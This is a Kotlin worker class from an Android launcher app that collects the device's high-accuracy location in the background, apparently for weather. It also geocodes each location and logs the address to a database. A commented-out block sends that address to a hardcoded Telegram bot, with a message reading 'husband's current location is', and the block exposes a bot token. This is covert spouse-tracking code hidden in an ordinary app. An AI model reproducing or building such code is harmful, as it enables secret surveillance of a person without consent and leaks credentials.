package rasel.lunar.launcher.workers

import android.annotation.SuppressLint
import android.content.Context
import android.location.Address
import android.location.Geocoder
import android.location.Location
import android.os.Build
import androidx.work.WorkerParameters
import com.google.android.gms.location.LocationServices
import com.google.android.gms.location.Priority
import com.google.android.gms.tasks.CancellationTokenSource
import okhttp3.ConnectionPool
import okhttp3.OkHttpClient
import okhttp3.Request
import okhttp3.Response
import okhttp3.ResponseBody
import rasel.lunar.launcher.LauncherActivity.Companion.runWeatherGetter
import rasel.lunar.launcher.helpers.PrefHelper
import rasel.lunar.launcher.helpers.letTrue
import rasel.lunar.launcher.model.LocationLog
import rasel.lunar.launcher.utils.BLog
import java.io.IOException
import java.math.BigDecimal
import java.math.RoundingMode
import java.util.Locale
import java.util.concurrent.Executors
import java.util.concurrent.TimeUnit
import kotlin.math.cos

class LocationGetter(context: Context, workerParams: WorkerParameters) : BaseGetter(context, workerParams) {
    companion object {
        val TAG = "LocationGetter"
        var longitude: Double? = null
        var latitude: Double? = null
    }

    @SuppressLint("MissingPermission")
    override fun realWork(): Result {
        BLog.LOGE("${OpenWeatherGetter.TAG} realWork()")

        LocationServices.getFusedLocationProviderClient(this.applicationContext)
            .getCurrentLocation(Priority.PRIORITY_HIGH_ACCURACY, CancellationTokenSource().token)
            .addOnSuccessListener{ success: Location? ->
                success?.let {
                    BLog.LOGE("Location >>> $it")
                    BLog.LOGE("Location >>> (latitude)${it.longitude}/(longitude)${it.latitude}")
                    longitude = it.longitude
                    latitude = it.latitude
                    runWeatherGetter()
                    PrefHelper.isLocationOn().letTrue {
                       pushLocation(it)
                    }
                }
            }.addOnFailureListener{
                BLog.LOGE("Location error >>> $it")
            }

        return Result.success()
    }


    fun pushLocation(location: Location) {
        try {
            val geocoder = Geocoder(this.applicationContext, Locale.getDefault())
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
                geocoder.getFromLocation(
                    BigDecimal.valueOf(location.getLatitude()).setScale(6,RoundingMode.HALF_UP).toDouble(),
                    BigDecimal.valueOf(location.getLongitude()).setScale(6,RoundingMode.HALF_UP).toDouble(),
                    1) { addresses ->
                    addresses.first()?.let {
                        WorkersDb.push(LocationLog().apply {
                            fillData(it)
                        })
//                        it.getAddressLine(0)?.let {
//                            Executors.newSingleThreadScheduledExecutor().schedule({
//                                try {
//                                    //////-1002450229641
//                                    val url =
//                                        "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}"
//                                    //7068729507
//                                    // OkHttp 클라이언트 객체 생성
//                                    val client = OkHttpClient.Builder()
//                                        .connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
//                                        .build()
//
//                                    // GET 요청 객체 생성
//                                    val builder: Request.Builder = Request.Builder().url(url)
//                                        .addHeader("Content-Type", "application/json").get()
//
//                                    val request: Request = builder.build()
//
//                                    BLog.LOGE("telegram before request ")
//                                    // OkHttp 클라이언트로 GET 요청 객체 전송
//                                    val response: Response = client.newCall(request).execute()
//                                    if (response.isSuccessful()) {
//                                        // 응답 받아서 처리
//                                        val body: ResponseBody? = response.body()
//                                        if (body != null) {
//
//                                        }
//                                    } else BLog.LOGE("telegram Error Occurred")
//
//                                } catch (e: java.lang.Exception) {
//                                    e.printStackTrace()
//                                }
//                            }, 5, TimeUnit.SECONDS)
//                        }
                    }
                    addresses.forEach {  }
                }
            }
        } catch (e: IOException) {
            e.printStackTrace()
        }
    }

}


val EARTH_RADIUS_METERS = 6371000
val LATITUDE_DEGREE_PER_METER: Double = 1.0 / (2 * Math.PI * EARTH_RADIUS_METERS / 360)

fun latitudeRange(latitude: Double, radiusInMeters: Int): DoubleArray {
    val degreeRange = radiusInMeters * LATITUDE_DEGREE_PER_METER

    val minLatitude = latitude - degreeRange
    val maxLatitude = latitude + degreeRange

    return doubleArrayOf(minLatitude, maxLatitude)
}

fun longitudeRange(latitude: Double, longitude: Double, radiusInMeters: Int): DoubleArray {
    val longitudeDegreePerMeter: Double = 360 / (2 * Math.PI * EARTH_RADIUS_METERS * cos(Math.toRadians(latitude)))
    val degreeRange = longitudeDegreePerMeter * radiusInMeters

    val minLongitude = longitude - degreeRange
    val maxLongitude = longitude + degreeRange

    return doubleArrayOf(minLongitude, maxLongitude)
}


//https://jinkpark.tistory.com/296
//https://develoyummer.tistory.com/103
//https://ghj1001020.tistory.com/300